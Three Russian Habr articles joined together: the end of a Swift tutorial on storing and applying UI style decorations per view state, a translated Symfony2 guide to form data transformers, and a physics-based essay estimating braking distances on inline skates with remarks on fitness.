static let favorite = MyViewState(rawValue: 1 << 2)
static let selected = MyViewState(rawValue: 1 << 3)
var hashValue: Int {
return rawValue
}
}
```
Применять можно следующим образом:
```
class MyView: UIView {
var state: MyViewState = .normal
}
let view = MyView()
view.state = [.disabled, .favorite]
view.state = .selected
```
В [прошлой публикации](https://habrahabr.ru/post/327662/) была введена обобщенная структура, имеющая указатель на экземпляр класса, к которому будут применяться декорации.
```
struct Decorator {
let object: T
}
```
У обобщенной структуры `Decorator` введем дополнительную переменную, которая будет отвечать за состояние стиля.
```
extension Decorator where T: Decorable {
var state: AnyHashable? {
get {
//
}
set {
//
}
}
}
```
Сохранять состояние объекта через обобщенную структуру стало возможным при использовании runtime функций ассоциации объектов. Введем класс, который будет ассоциирован с объектом декорации и будет содержать нужные переменные.
```
class Holder {
var state = Optional.none
}
var KEY: UInt8 = 0
extension Decorable {
var holder: Holder {
get {
if let holder = objc\_getAssociatedObject(self, &KEY) as? Holder {
return holder
} else {
let holder = Holder()
let policy = objc\_AssociationPolicy.OBJC\_ASSOCIATION\_RETAIN\_NONATOMIC
objc\_setAssociatedObject(self, &KEY, holder, policy)
return holder
}
}
}
}
```
Теперь обобщенная структура `Decorator` может сохранять состояние через ассоциированный с объектом `Holder` класс.
```
extension Decorator where T: Decorable {
var state: AnyHashable? {
get {
return object.holder.state
}
set(value) {
object.holder.state = value
}
}
}
```
#### Хранение декораций
Если можно хранить состояние стиля, то точно так же можно хранить декорации для разных состояний. Это достигается путем создания словаря декораций `[AnyHashable: Decoration]` в ассоциированном с объектом декорации экземпляре класса `Holder`.
```
class Holder {
var state = Optional.none
var states = [AnyHashable: Decoration]()
}
```
Чтобы добавлять декорации в словарь введем функцию:
```
extension Decorator where T: Decorable {
func prepare(state: AnyHashable, decoration: @escaping Decoration) {
object.holder.states[state] = decoration
}
}
```
Использовать можно следующим образом:
```
let view = MyView()
view.decorator.prepare(state: MyViewState.disabled) { (view) in
view.backgroundColor = .gray
}
view.decorator.prepare(state: MyViewState.favorite) { (view) in
view.backgroundColor = .yellow
}
```
#### Применение декораций
После наполнения словаря декораций, при изменении состояния стиля, следует применить соответствующую декорацию из словаря. Этого можно добиться путем изменения реализации сеттера состояния стиля:
```
extension Decorator where T: Decorable {
var state: AnyHashable? {
get {
return object.holder.state
}
set(value) {
let holder = object.holder
if let key = value, let decoration = holder.states[key] {
object.decorator.apply(decoration)
}
holder.state = value
}
}
}
```
Применяться декорация будет следующим образом:
```
let view = MyView()
// подготовка декораций
view.decorator.state = .selected
```
Также стоит упомянуть случай, когда у объекта было установлено состояние стиля до того, как в словарь декораций попала соответствующая декорация. Для такой ситуации стоит доработать функцию подготовки декорации для состояния:
```
extension Decorator where T: Decorable {
func prepare(state: AnyHashable, decoration: @escaping Decoration) {
let holder = object.holder
holder.states[state] = decoration
if state == holder.state {
object.decorator.apply(decoration)
}
}
}
```
#### Анимации?
Если внутри применяемой декорации содержится что-то, что можно анимировать,...
> When positive, the background of the layer will be drawn with
>
> rounded corners. Also effects the mask generated by the
>
> 'masksToBounds' property. Defaults to zero. Animatable.
>
>
>
> open var cornerRadius: CGFloat
… то изменения стиля объекта внутри анимационного блока приведет к соответствующим анимациям:
```
UIView.animate(withDuration: 0.5) {
view.decorator.state = .selected
}
```
#### Заключение
Получен удобный инструмент создания, хранения, применения, переиспользования и композиции декораций. Полный код инструмента можно [найти по ссылке](https://github.com/iwheelbuy/Style/blob/master/Style/Classes/Style.swift). Как обычно есть возможность установить и опробовать через [CocoaPods](https://cocoapods.org):
> pod 'Style' | https://habr.com/ru/post/339048/ | null | ru | null |
# Использование Data Transformers в Symfony2
Формы – в Symfony2 один из самых мощных инструментов, они представляют множество возможностей. Много секретов работы с Symfony2 описано в [Книге рецетов](http://symfony.com/doc/current/cookbook/index.html). Хочу представить вам перевод одного рецепта работы с формами, в Symfony 2 – [использование дата трансформеров](http://symfony.com/doc/current/cookbook/form/data_transformers.html).
Часто возникает необходимость преобразовывать данные, введенные пользователем в форму в другой формат для использования в вашей программе. Можно легко сделать это вручную в контроллере, но как поступить, если вы хотите использовать эту форму в разных местах? Скажем, у вас есть объект «Task» (задачи) связанный соотношением кодин-к-одному с объектом «Issue» (проблемы), для каждой «Task» моможет быть указана опционально «Issue», которую она решает. Если в форму редактирования задач «Task», добавить выпадающий список из проблем «Issue», то нам будет очень тяжело в нем ориентироваться. Можна добавить текстовое поле вместо, выпадающего списка и вводить просто номер «Issue».
Вы можете попробовать сделать преобразование в контроллере, но это не самое лучшая идея. Было бы намного лучше, если бы номер «Issue» автоматически преобразовался объект «Issue». В этом случае в игру вступают «Data Transformers» (трансформеры данных).
#### Создание трансформеров.
Сначала создадим IssueToNumberTransformer класс – это класс будет отвечать за преобразование и из номера «Issue» в объект «Issue»:
```
// src/Acme/TaskBundle/Form/DataTransformer/IssueToNumberTransformer.php
namespace Acme\TaskBundle\Form\DataTransformer;
use Symfony\Component\Form\DataTransformerInterface;
use Symfony\Component\Form\Exception\TransformationFailedException;
use Doctrine\Common\Persistence\ObjectManager;
use Acme\TaskBundle\Entity\Issue;
class IssueToNumberTransformer implements DataTransformerInterface
{
/**
* @var ObjectManager
*/
private $om;
/**
* @param ObjectManager $om
*/
public function __construct(ObjectManager $om)
{
$this->om = $om;
}
/**
* Transforms an object (issue) to a string (number).
*
* @param Issue|null $issue
* @return string
*/
public function transform($issue)
{
if (null === $issue) {
return "";
}
return $issue->getNumber();
}
/**
* Transforms a string (number) to an object (issue).
*
* @param string $number
* @return Issue|null
* @throws TransformationFailedException if object (issue) is not found.
*/
public function reverseTransform($number)
{
if (!$number) {
return null;
}
$issue = $this->om
->getRepository('AcmeTaskBundle:Issue')
->findOneBy(array('number' => $number))
;
if (null === $issue) {
throw new TransformationFailedException(sprintf(
'An issue with number "%s" does not exist!',
$number
));
}
return $issue;
}
}
```
Можно создать новый объект «Issue», когда пользователь ввел неизвестный номер а не выкидывать TransformationFailedException.
#### Использование трансформеров
Теперь у нас есть трансформер, нужно просто добавить его к нашему полю «Issue» в той или иной форме.
```
use Symfony\Component\Form\FormBuilderInterface;
use Acme\TaskBundle\Form\DataTransformer\IssueToNumberTransformer;
class TaskType extends AbstractType
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
// ...
// this assumes that the entity manager was passed in as an option
$entityManager = $options['em'];
$transformer = new IssueToNumberTransformer($entityManager);
// add a normal text field, but add our transformer to it
$builder->add(
$builder->create('issue', 'text')
->addModelTransformer($transformer)
);
}
// ...
}
```
В этом примере необходимо передать EntityManager в качестве опции при создании формы. Позже вы узнаете, как можно создать пользовательское поле для номера «Issue», чтобы избежать необходимости передачи EntityManager
```
$taskForm = $this->createForm(new TaskType(), $task, array(
'em' => $this->getDoctrine()->getEntityManager(),
));
```
Круто, мы это сделали! Теперь пользователь сможет ввести номер в текстовом поле, и оно будет преобразовано объект «Issue». Это означает, что после успешного связывания ($form->bindRequest($request)), фреймворк форм предаст реальный объект «Issue» в метод :: setIssue () вместо номера «Issue».
Обратите внимание, что при добавление трансформера необходимо использовать несколько более сложный синтаксис чем при добавлении поля. Ниже приведен не правильный пример, как трансформер будет применяться ко всей форме, а не к конкретному полю:
```
// Это не правильно - трансформер будет применен ко всей форме
// смотрите пример выше для правильного использования трансформера
$builder->add('issue', 'text')
->addModelTransformer($transformer);
```
#### Модель вид и трансформеры
Новое в версии 2.1: название методов трансформетров были изменены в Symfony 2.1. prependNormTransformer стал addModelTransformer и appendClientTransformer стал addViewTransformer.
В приведенном выше примере, трансформер был использован в качестве «трансформера модели». В самом деле, есть два различных типа трансформеров и три различных типа исходных данных.
##### В любой форме, есть три различных типа данных:
1. **Model data** — это данные в том формате которое используются в вашем приложениии (например, например обьект типа «Issue»). Если вы вызовете в форме методы :: GetData или :: SetData, вы будете имеете дело с «Model data».
2. **Norm Data** — это нормализированные версии ваших данных, они обычно такие же, как «Model data» данные (хотя и не в нашем примере). На прямую они не часто используются.
3. **View Data** — это формат, который используется для заполнения полей формы. Это также формат, в котором пользователь будет передавать данные (сабмитить форму). Когда мы вызываем метод Form::bind($data), $data представляется в формате «View Data»
Есть два различных типа трансформеров, которые помогают нам преобразовывать данные из одного представления в другой.
* «Model transformer» трансформеры модели
+ transform: «model data» => «norm data»
+ reverseTransform: «norm data» => «model data»
* «View transformer» трансформеры видов:
+ transform: «norm data» => «view data»
+ reverseTransform: «view data» => «norm data»
Какой трансформер вам нужен, зависит от конкретной ситуации.
Чтобы использовать «View Transformer», вызывайте метод addViewTransformer.
#### Так зачем нам использовать трансформеры данных?
В нашем примере, поле — текстовое поле, и мы ожидаем что текстовое поле будет всегда возвращать скалярные данные в «norm» и «view» форматах. И в данном случае наиболее приемлемый трансформер — «model transformer», который преобразует «norm data» в «model data» и обратно (номер «Issue» в объект «Isuuse» и обратно).
Разница между трансформерами очень тонкая и вы всегда должны думать что из себя должны представлять «norm» нормализированные данные. Например для текстового поля «norm» нормализированные данные — текстовая сторока, а для поля «date» — объект DateTime.
#### Использование трансформеров в «кастомных полях»
В примере который мы описали выше, мы используем трансформер для текстового поля. Сделать это было довольно просто, но у этого подхода есть два недостатка:
1. Вы должны всегда помнить, о применении трансформера когда используете поле «isuue»
2. Вы должны заботится о передаче в опции em=>EntityManager всякий раз, когда вы создаете форму, которая использует трансформер.
Потому нам наверное нужно создать пользовательский «кастомный» тип поля. Для начала создадим класс для пользователького типа поля:
```
// src/Acme/TaskBundle/Form/Type/IssueSelectorType.php
namespace Acme\TaskBundle\Form\Type;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Acme\TaskBundle\Form\DataTransformer\IssueToNumberTransformer;
use Doctrine\Common\Persistence\ObjectManager;
use Symfony\Component\OptionsResolver\OptionsResolverInterface;
class IssueSelectorType extends AbstractType
{
/**
* @var ObjectManager
*/
private $om;
/**
* @param ObjectManager $om
*/
public function __construct(ObjectManager $om)
{
$this->om = $om;
}
public function buildForm(FormBuilderInterface $builder, array $options)
{
$transformer = new IssueToNumberTransformer($this->om);
$builder->addModelTransformer($transformer);
}
public function setDefaultOptions(OptionsResolverInterface $resolver)
{
$resolver->setDefaults(array(
'invalid_message' => 'The selected issue does not exist',
));
}
public function getParent()
{
return 'text';
}
public function getName()
{
return 'issue_selector';
}
}
```
Далее, зарегистрируем свой тип сервиса и пометим его тегом form.type так, чтобы поле распознавалось как пользовательский тип:
```
```
Теперь можно использовать наш специальный тип issue\_selector:
```
// src/Acme/TaskBundle/Form/Type/TaskType.php
namespace Acme\TaskBundle\Form\Type;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
class TaskType extends AbstractType
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder
->add('task')
->add('dueDate', null, array('widget' => 'single_text'));
->add('issue', 'issue_selector');
}
public function getName()
{
return 'task';
}
}
``` | https://habr.com/ru/post/152539/ | null | ru | null |
# Физик и ролики
Предисловие
-----------
Однажды я купил слишком бюджетный велосипед и с самого начала с ним стали постоянно возникать какие-то проблемы: то развалится сиденье, то слетит цепь, то лопнут спицы... После нескольких лет неравной борьбы я сдался и забросил его куда подальше. Конечно, в мире фитнеса есть не только велосипеды, можно было бы кататься на лыжах или просто бегать, но снега в последние годы мало, регулярно бегать утомительно, так что мне пришлось стать рядовым пешеходом.
Жизнь так и шла своим чередом, пока не случилось историческое событие — у нас построили велодорожку к парку Космонавтов. Народ стал понемногу кататься, и мне тоже не хотелось оставаться в стороне. Но, поскольку впечатления о борьбе с великом еще не изгладились из памяти, я приобрел лыжероллеры.
Вообще-то, классические лыжероллеры очень прикольная и полезная для здоровья штука, но надо учитывать, что по ровной местности на них особо не разгонишься, а вот на горке лыжник превращается в неуправляемую торпеду без тормозов. Скорость по равнине не очень высокая, 10*-*12 км/ч, и вас будут обгонять буквально все: дети, девушки, дачники, бодрые спортсмены... С этим нужно было срочно что-то делать и тогда я решил купить роликовые коньки и освоить фитнес спидскейтинг.
Дело оказалось непростым. Научить и подсказать было некому, в провинции не хватает хорошего асфальта, и в основном все катают на великах или самокатах, а до ближайшей роллер школы полста километров. Пришлось, как всегда, выискивать крупинки полезной информации в глубинах интернета и учиться на своих ошибках. Если двигаться вперед у меня еще как-то получалось, то с освоением торможения совершенно не складывалось. Отвага на горке закончилась здоровым синяком и ссадиной (хорошо, что я был в полной защите и упал сразу, не набирая скорость).
Интернет тем временем жил собственной жизнью. Симпатичные барышни с Ютуба непринужденно демонстрировали чудеса катания, а роллерские сайты пестрели броскими терминами "плуг", "Т-стоп", "штатник". Любое из этих слов почему-то обладало магическим свойством вызывать бурные споры. Сторонники Т-стопа неутомимо дискутировали с поклонниками плуга и обе партии снисходительно пеняли робких штатников. Не будучи просветленным гуру, разобраться в этом полете творческой мысли и приложить ее на практике было решительно невозможно...
И вот здесь посреди хаоса возникла идея: "Если не знаешь, как этого добиться, то возможно надо понять, что и почему должно получиться?" Она и вдохновила меня написать заметку о физике торможения на роликах и о пользе, которую можно из них извлечь.
1. Исходные положения
---------------------
Проведем оценки эффективности различных способов торможения на роликовых коньках исходя из того, что для малых скоростей сила трения при скольжении или качении тела зависит лишь от его веса *P* (а точнее от силы реакции опоры *N*) и материалов пары трения:
*FТ = k N*
В случае скольжения параметр *k* называют коэффициентом трения скольжения, обозначим его *kp*. В случае качения параметр *k* называется коэффициентом сопротивления качению, мы будем обозначать его *ks*. Заметим, что *ks* - составная безразмерная величина, прямо пропорциональная коэффициенту трения качения (он мал у твердых материалов) и обратно пропорциональная диаметру колеса.
Рассмотрим основные физические случаи торможения.
**A) Чистое скольжение**
Замедление происходит из-за прижатия резины тормоза к асфальту, либо постановки колес одного или обоих коньков строго поперек направления движения. При горизонтальном движении сила реакции опоры равна весу тела. Следовательно, сила трения скольжения:
*FТ = kp mg ϰ*
Где *ϰ = 0 ÷ 1* - доля веса роллера, приходящаяся на тормозящий элемент, *m* - масса роллера, *g* - ускорение свободного падения.
Ускорение торможения: *a = FТ / m = kp g ϰ*
Путь равноускоренного движения определяется ускорением и начальной скоростью:
*S = at2 / 2 = v2 / (2a)*
Отсюда тормозной путь:
**B) Проскальзывание**
При постановке конька под некоторым углом скольжения *Θ* к направлению движения, он частично катится, а частью скользит. Разложим перемещение конька *S* на продольное качение *S1* и поперечное скольжение *S2* (см. Рис.1).
Рис.1. Траектория проскальзывания конька.Общая работа силы трения будет суммой работ на участках:
*А = k S P = ( ks S1 + kp S2 ) P*
Отсюда общий коэффициент трения:
*k = ( ks S1 + kp S2 ) / S = ks cos Θ + kp sin Θ*
При угле скольжения *Θ = 00* имеем чистое качение, а при *Θ = 900* чистое скольжение. Фактически, при торможении угол *Θ* будет не менее 50, поэтому трением качения можно пренебречь. Тогда общий коэффициент трения *k ≈ kp sin θ*, а тормозной путь:
**C) Противодействие разгону на горке**
Вес тела *P* вызывает давление на склон *PN* и силу тяги вдоль склона *F*. С увеличением угла наклона давление на склон и трение уменьшаются, а сила тяги быстро растет (см. Рис.2). Поэтому, начиная с некоторого критического угла, затормозить становится невозможно.
Рис.2. Сила, разгоняющая роллера на склоне.Из Рис.2 получаются следующие соотношения: 
Сила тяги: *F = P sin α*
Сила реакции опоры: *N = P cos α*
Сила трения: *FТ = k N ϰ*
При равенстве тяги и трения *F = FТ* скорость не набирается, и из соотношения
*P sin α = P cos α k ϰ* получаем условие критического угла:
В строительстве тангенс угла наклона (отношение высоты склона к длине его основания) называется уклоном дороги и выражается в процентах или промилле.
2. Параметры модели и результаты расчетов
-----------------------------------------
Формулы (1), (2) и (3) дают простейшую математическую модель торможения на роликах. Ее параметры во многом зависят от умений роллера и окружающих условий. Например, коэффициент трения полиуретана и резины об асфальт сильно зависит от сорта материала и состояния покрытия. Постараемся провести более менее правдоподобную их оценку.
- Предположим, что *kp = 0,5 ÷ 0,7* где меньшие значения соответствуют скользким колесам либо слегка влажному покрытию.
- Ускорение свободного падения *g = 10 м/c2*
- Скорость движения при прогулочном катании примем равной 3 м/c или 11 км/ч.
Остальные параметры перечислены в табличке:
| Способ торможения | kpmin | kpmax | ϰmin | ϰmax | Θmin0 | Θmax0 |
| --- | --- | --- | --- | --- | --- | --- |
| На велосипеде (задним колесом) | 0,7 | 0,7 | 0,7 | 0,7 | 90 | 90 |
| Штатный пяточный тормоз | 0,5 | 0,7 | 0,3 | 0,5 | 90 | 90 |
| Т-стоп | 0,5 | 0,7 | 0,1 | 0,2 | 90 | 90 |
| Слайды Parallel или Magic | 0,5 | 0,7 | 1 | 1 | 90 | 90 |
| Плуг со скольжением | 0,5 | 0,7 | 1 | 1 | 10 | 15 |
| Плуг с упором | 0,5 | 0,7 | 1 | 1 | 5 | 7 |
| Слайд Soul (одноногий плуг) | 0,5 | 0,7 | 0,3 | 0,5 | 45 | 45 |
Таблица 1. Параметры модели торможения.
**Предсказания модели можно представить в виде рейтинга с пояснениями:**
**1)** Велосипед, выбранный в качестве эталона, показал наилучшие результаты.
Считаем, что он тормозит задним колесом, на которое приходится 70% веса, а сцепление протектора хорошее *kp = 0,7*. При этом тормозной путь на скорости 11 км/ч составит 0,9 м.
На склоне *tg α = 0,7 ∙ 0,7 = 0,49* и критический угол *α = 260*. Для горного велосипеда с двойной системой торможения *ϰ = 1 , tg α = 0,7 ∙ 1 = 0,7* и критический угол *α = 350*
Таким образом, средний критический угол склона для велосипеда *α ≈ 300*
**2)** Второе место занял способ торможение роллера обоими ногами.
Самым эффективным торможением на роликах будет постановка обоих коньков поперек движения, где на тормозящие элементы придется 100% роллера веса. Это слайды Parallel и Magic.
Тормозной путь для наилучшего случая 0,6 м, а для наихудшего 0,9 м. Средний тормозной путь Magic и Parallel слайдов равен 0,8 м.
**3)** Третье место у торможения штатным пяточным тормозом.
Оно осуществляется одной ногой, на которую плавно переносится 30..50% веса.
Тормозной путь для наилучшего случая составит 1,3 м, а для наихудшего 3 м. Средний тормозной путь равен 2,1 м.
На склоне для наихудшего случая *tg α = 0,15* и *α = 8,50* , а для наилучшего *tg α = 0,35* и *α = 190*. Средний критический угол склона для штатного тормоза *α ≈ 140*
**4)** Одноногий плуг (Soul слайд)
Обычный двуногий плуг не очень хороший способ торможения, он занимает много места и неустойчив на плохом покрытии. Если под колесо попадет выбоина, камешек или крупная ветка, конек резко затормозится и роллер упадет вперед. Еще хуже встретить лужу или песок на асфальте, конек проскользнет, и роллер упадет назад.
Гораздо безопасней и эффективней использовать одноногий плуг. Здесь опорная нога свободно катится, а тормозящая выставляется вперед и ее стопа поворачивается и наклоняется к поверхности до получения устойчивого скольжения.
Если на тормозящую ногу приходится 30..50% веса роллера, а угол поворота стопы *Θ = 450*, то в наилучшем случае тормозной путь составит 1,8 м, а в наихудшем 4,2 м. Средний тормозной путь равен 3 м.
**5)** Торможение плугом со скольжением (Double Soul слайд)
Здесь требуется хорошая растяжка, гибкость и координация движений, которые определяют достижимый угол поворота коньков (обычно не более 200) и эффективность торможения.
Роллер расставляет обе ноги и колеса коньков под углом примерно *450* к вертикали и переносит свой вес на переднюю часть стоп (колени согнуты над носками, руки для безопасности вытянуты вперед).
Затем он подворачивает обе стопы внутрь и за счет бокового усилия пяток заставляет ролики проскальзывать, не позволяя им съехаться.
Чтобы возникло скольжение, боковая сила должна превысить силу трения покоя, т.е. каждая нога должна давить наружу в направлении *S2* с силой не менее 25..35% веса роллера.
Для углов поворота *Θ = 10..150* в наилучшем случае тормозной путь 2,5 м, а в наихудшем 5,2 м. Средний тормозной путь равен 3,8 м.
На склоне для наихудшего случая *tg α = 0,09* и *α = 50* , а для наилучшего *α = 100*. Средний критический угол склона *α ≈ 70*.
**6)** Торможение роллера T-стопом
Задний конек ставится перпендикулярно движению и на него переносится 10..20% веса. Опытный роллер может слегка присесть на тормозящую ногу, увеличивая долю веса.
Минимальный тормозной путь составит 3 м, максимальный 9 м. Средний тормозной путь равен 6 м.
На склоне для наихудшего случая *tg α = 0,05* и *α = 30*. Для наилучшего случая *tg α = 0,14* и *α = 80*. Средний критический угол склона при торможении Т-стопом *α ≈ 60*.
**7)** Торможение плугом с упором
Этот способ простой, но самый неэффективный. Роллер не подворачивает стопы специально, а просто сильно давит широко расставленными ногами вбок, до начала их проскальзывания. Поворот стоп происходит автоматически, за счет моментов боковых сил от пяток относительно точек приложения веса в начале стоп. Коньки с длинной рамой должны тормозить лучше за счет больших плеч и моментов силы.
Для углов поворота *Θ = 5..70* наилучший тормозной путь 5,3 м, наихудший 10,3 м. Средний тормозной путь равен 7,8 м.
**Наглядно результаты показаны на рисунке и в таблицах:**
Рис.3. Оценка тормозного пути на роликах при прогулочном катании.
| Вид торможения | Тормозной путь при11 км/ч, м | Критический угол склона, 0 |
| --- | --- | --- |
| На велосипеде | 0,9 | 30 |
| Слайды Parallel или Magic | 0,8 | 30 |
| Штатный тормоз | 2,1 | 14 |
| Слайд Soul (одноногий плуг) | 3 | 10 |
| Плуг со скольжением | 3,8 | 7 |
| Т-стоп | 6 | 6 |
| Плуг с упором | 7,8 | 4 |
Таблица 2. Средняя эффективность торможения на роликах.
| Вид торможения | S/Sвел | S/Sштатн | Примечание |
| --- | --- | --- | --- |
| На велосипеде | 1 | - | Единица пути торможения. |
| Слайды Parallel или Magic | ≈ 1 | 0,5 | Тормозной путь близок к велосипеду.Продвинутый уровень катания. |
| Штатный тормоз | 2 | 1 | Наиболее доступный и эффективный способ для новичка. |
| Слайд Soul (одноногий плуг) | 3 | 1,5 | Средний уровень катания. Относительно безопасен на неровном или скользком покрытии. |
| Плуг со скольжением | 4 | 2 | Начальный, а лучше средний уровень.Нужна хорошая растяжка и гибкость.Опасен на неровном и скользком покрытии. |
| Т-стоп | 6 | 3 | Доступен на среднем уровне катания. Требует хорошего баланса на одной ноге.Быстро включается и занимает мало места. |
| Плуг с упором | 8 | 4 | Доступен новичку. Требуется растяжка. Опасен на неровном и скользком покрытии. |
Таблица 3. Относительная дистанция торможения на роликах.
3. Выводы
---------
Наша модель позволила оценить эффективность разных видов торможения и сделать ряд замечаний:
**1)** Штатный тормоз оказался одним из лучших способов, при этом он доступен на самом начальном уровне катания.
Бытует мнение, что штатник неудобен, малоэффективен и, вообще, уважающий себя роллер должен избавиться от него как можно скорее. Это совершенно не так ;) Штатный тормоз мешает только при повороте перебежкой, длинных прыжках через препятствия и выполнении фигур слалома. Поэтому снимать его необходимо лишь профессиональным спортсменам. При правильной технике и не слишком высоких скоростях движения штатный тормоз очень полезен и эффективен.
Остановка им происходит в четыре этапа: сперва выставляем ногу с тормозом вперед, затем поднимаем ее носок для получения легкого скольжения и, наконец, приседая, плавно упираемся в тормозящую ногу и прикладываем на нее все больший вес. После остановки надо застыть в этой позе на 2-3 секунды для тренировки равновесия. Эту последовательность нужно отработать десяток раз на различных скоростях движения. В итоге получается быстрое торможение с очень сильным скрипом и черным следом резины на асфальте. Как это выглядит на практике, показывает [Аша Киркби](https://youtu.be/AM4ptyerMro?t=240).
**2)** Эффективность наиболее популярных способов торможения - плуга и Т-стопа более менее сопоставима.
Хорошо выполненный плуг со скольжением должен работать лучше, но на практике результат сильно зависит от конкретных умений роллера.
**3)** Ролики чрезвычайно плохо тормозят на горке (см Табл.2).
Практически, из-за сопротивления качения колес, критические углы будут немного, на 2..30 больше расчетных. Однако, общая картина не меняется: уже на достаточно пологом склоне *α ≈ 10..150* ролики начинают неуправляемого разгонятся, и штатный тормоз, а тем более плуг и Т-стоп, не смогут это предотвратить. Особенно опасны узкие склоны с плохим покрытием, где трудно или невозможно использовать замедление змейкой или спиралями и могут попадаться веточки, камешки или выбоины. Правила дорожного движения относят роллера к пешеходам, поэтому не нужно стеснятся проходить незнакомые или сложные спуски пешком.
4. Эксперимент
--------------
Поскольку на улице уже холодно, а мои навыки катания еще малы, проведем эксперимент по фотографии. Для этого воспользуемся видеозаписью [Александра Кудреватых](https://youtu.be/cK3jzSA8Uzo) и программой анализа спортивных движений [Kinovea](https://kinovea.org/).
Kinovea может измерять время, угол, длину и скорость перемещения отдельных фрагментов изображения. Стабильная версия 0.8.15 не русифицирована, но beta версии поддерживают русский язык и вполне работоспособны. Как ей пользоваться можно почитать в [этой методичке](https://rusathletics.info/wp-content/uploads/2017/02/%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC.-%D0%98%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D1%8B%D0%B5-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B8-%D0%B2-%D0%BF%D0%BE%D0%B4%D0%B3%D0%BE%D1%82%D0%BE%D0%B2%D0%BA%D0%B5-%D0%BB%D0%B5%D0%B3%D0%BA%D0%BE%D0%B0%D1%82%D0%BB%D0%B5%D1%82%D0%BE%D0%B2.pdf).
Чтобы задать масштаб длины, предположим, что высота Александра в стойке роллера равна 1,7м. Геометрические искажения видеокамеры не учитываем. Минимальная и максимальная начальная скорость менялась от 4 до 6 м/c, мы примем ее равной 5 м/c. Поскольку в нашей модели не учитывается время на подготовку тормозящего слайда, то измерять будем лишь чистую тормозную дистанцию. Результаты обработки показаны Рис.4.
Рис.4. Эксперимент по фотографии.Пересчитав тормозную дистанцию к скорости 5 м/c получим: для Magic-слайда *S = 1,7 ÷ 2,5 м*, для плуга со скольжением *S = 6,9 ÷ 14* м и для T-стопа *S = 8,3 ÷ 25 м*.
Как видно из рисунка, дистанция торможения плугом и Т-стопом находится вблизи нижней границы диапазона, что свидетельствует о мастерстве Александра. В Magic-слайде трудно разделить подготовку и торможение, поэтому оценка по фото дает слишком большую погрешность.
Таким образом, наша модель хотя и довольна груба, но вполне пригодна для практики.
Послесловие
-----------
**Какой фитнес самый полезный и что дают ролики?**
Если верить Гуглу, то это пыталась выяснить еще администрация Картера. Был собран The President's Council on Physical Fitness and Sports, где 7 экспертов ~~ткнули пальцем в небо~~ попробовали оценить влияние различных видов спорта на параметры здоровья по 3-х бальной шкале. В итоге у них получилась Таблица 4 где бег, велосипед и роликовые коньки вошли в тройку лидеров, а лыжи заняли 4-е место.
Таблица 4. Влияние занятий спортом на улучшение здоровья в условных баллах.
Взято из книги: Marion Eugene Ensminger, Audrey H. Foods & Nutrition Encyclopedia, Two Volume Set p.125.
Оригинальный источник: How Different Sports Rate in Promoting Physical Fitness. U.S. Dept HEW, 1978, pp.4-5. Мнение авторитетов важно, но на практике надежнее учитывать свой опыт, ощущения и особенности организма, чередуя разные типы нагрузки. Я бы отметил следующее:
* Бег отлично тренирует выносливость, дыхательную и сердечно-сосудистую системы, но требует регулярности и очень грамотной и плавной дозировки нагрузки с обязательным контролем пульса. У неподготовленного человека пульс очень быстро растет за безопасный предел и сердце сильно перегружается. Бег противопоказан при проблемах с коленями и спиной.
* Велосипед эффективно тренирует силу ног и общую выносливость, но сильно согнутая статическая поза ухудшает кровообращение. Противопоказан при любых проблемах в нижней части туловища.
* Классические лыжи — прекрасная щадящая нагрузка, равномерно тренирующая все тело. Благодаря открытой позе и скользящим движениям нет ударов и зажимов кровообращения. Движение на лыжах экономично, поэтому разгон пульса менее вероятен. При ограничениях здоровья лыжи, скандинавская ходьба и плавание, пожалуй, наиболее подходящие варианты.
О роликовых коньках стоит поговорить особо:
* По действию физической нагрузки они близки к лыжам, однако стойка (поза роллера) более согнутая и статичная, а опоры для рук нет. Чрезмерное катание при неправильной технике (ноги стоят иксом, пронация ступней, прокат на внутреннем ребре колес) перегружает голеностопы, колени и поясницу. Для снижения отрицательных эффектов и тренировки силы рук можно использовать палки.
* Любопытно, что катание на коньках значительно улучшает работу нервной системы: развивается не только координация и ловкость движений, но также выравнивается эмоциональный фон, налицо явный антидепрессивный и антистрессовый эффект. Однако механизм этого явления и его потенциальные возможности пока остаются загадкой.
Дело здесь не только в выделении эндорфинов при физической нагрузке или удачном избегании падений. Есть много свидетельств (Бломберг, Бильгоу, Деннисон, Бах-и-Рита, Данилов и др.), что механическая или электрическая стимуляция нейронных сетей ствола мозга, особенно при загрузке моторных и сенсорных систем сложно-координированными балансирующими движениями, в ряде случаев может стимулировать нейропластичность, улучшить сенсорно-моторную интеграцию и нормализовать работу мозга в целом.
Не исключено, что активное слежение глазами за дорогой в поисках опасных камешков и веточек естественным образом имитирует ДПГД терапию (это один из наиболее эффективных способов лечения пост травматических стрессовых расстройств). Более того, загрузка моторно-сенсорных систем здесь выше, причем на фоне положительных эмоций от катания.
Подведем итоги
--------------
Ролики требуют очень хорошего чувства баланса и людям с нарушенной координацией овладеть ими сложно. В то же время балансирование и движение на роликах дает равномерную и мягкую нагрузку на весь организм, а прогресс в освоении двигательных элементов означает улучшение работы ЦНС: мозжечка, ствола, вестибулярного аппарата, моторной и префронтальной коры мозга.
Если нет врачебных противопоказаний, то игры и систематические тренировки на роликах могут стать одним из способов мягкой стимуляции процессов нейропластичности, компенсации посттравматических и стрессовых расстройств и вытягивания ослабленного организма из низко функционального состояния.
Понять и в полной мере овладеть этими способами — задача будущего.
Наверное, лучше всего об этом сказал известный философ Waddles: "Наука это вечно убегающий горизонт, а вовсе не приз в руках..."
Рис.5. Наука — это вечно убегающий горизонт, а вовсе не приз в руках.Литература
----------
**А)** Как тормозят профессионалы можно посмотреть тут:
[Les techniques de freinage en roller en descente.](https://www.youtube.com/watch?v=0Sol0QzMJvI)
**B)** О методиках нейротренинга:
Все методики ЛФК и реабилитации применяют только после обследования, консультации и под наблюдением грамотных профессионалов!
Список литературы ниже приведен только для представления о современных исследованиях в этом вопросе:
1) Пол Деннисон и Гейл Деннисон «Гимнастика мозга» <https://sch224s.mskobr.ru/files/logoped/gimnastika-mozga.pdf>
